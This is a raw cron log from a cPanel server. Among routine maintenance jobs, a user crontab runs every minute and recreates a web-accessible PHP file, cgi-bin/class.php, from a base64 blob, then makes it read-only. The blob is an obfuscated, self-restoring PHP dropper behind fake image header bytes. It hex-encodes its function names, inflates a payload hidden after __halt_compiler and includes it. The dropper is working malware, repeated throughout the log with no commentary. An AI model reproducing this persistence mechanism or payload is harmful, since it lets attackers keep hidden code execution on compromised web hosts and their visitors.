Sep 11 22:56:01 server CROND[26808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:56:01 server CROND[26809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:56:01 server CROND[26810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:57:01 server CROND[27216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:57:01 server CROND[27217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:57:01 server CROND[27218]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:57:01 server CROND[27219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:58:01 server CROND[27603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:58:01 server CROND[27604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:58:01 server CROND[27605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:59:01 server CROND[27981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:59:01 server CROND[27982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:59:01 server CROND[27983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:00:01 server CROND[28374]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:00:01 server CROND[28375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:00:01 server CROND[28377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:00:01 server CROND[28379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:00:01 server CROND[28381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:00:01 server CROND[28383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:00:01 server CROND[28378]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:00:01 server CROND[28382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:00:01 server CROND[28380]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 23:01:01 server CROND[29226]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 23:01:01 server CROND[29227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:01:01 server CROND[29228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:01:01 server CROND[29231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:01:01 server run-parts(/etc/cron.hourly)[29226]: starting 0anacron
Sep 11 23:01:01 server run-parts(/etc/cron.hourly)[29247]: finished 0anacron
Sep 11 23:02:01 server CROND[29694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:02:01 server CROND[29696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:02:01 server CROND[29697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:03:01 server CROND[30067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:03:01 server CROND[30068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:03:01 server CROND[30069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:04:02 server CROND[30435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:04:02 server CROND[30436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:04:02 server CROND[30437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:05:01 server CROND[30805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:05:01 server CROND[30807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:05:01 server CROND[30808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:05:01 server CROND[30814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:05:01 server CROND[30815]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:05:01 server CROND[30817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:05:01 server CROND[30816]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 23:05:01 server CROND[30820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:05:01 server CROND[30819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:06:01 server CROND[31645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:06:01 server CROND[31646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:06:01 server CROND[31647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:07:01 server CROND[32108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:07:01 server CROND[32109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:07:01 server CROND[32110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
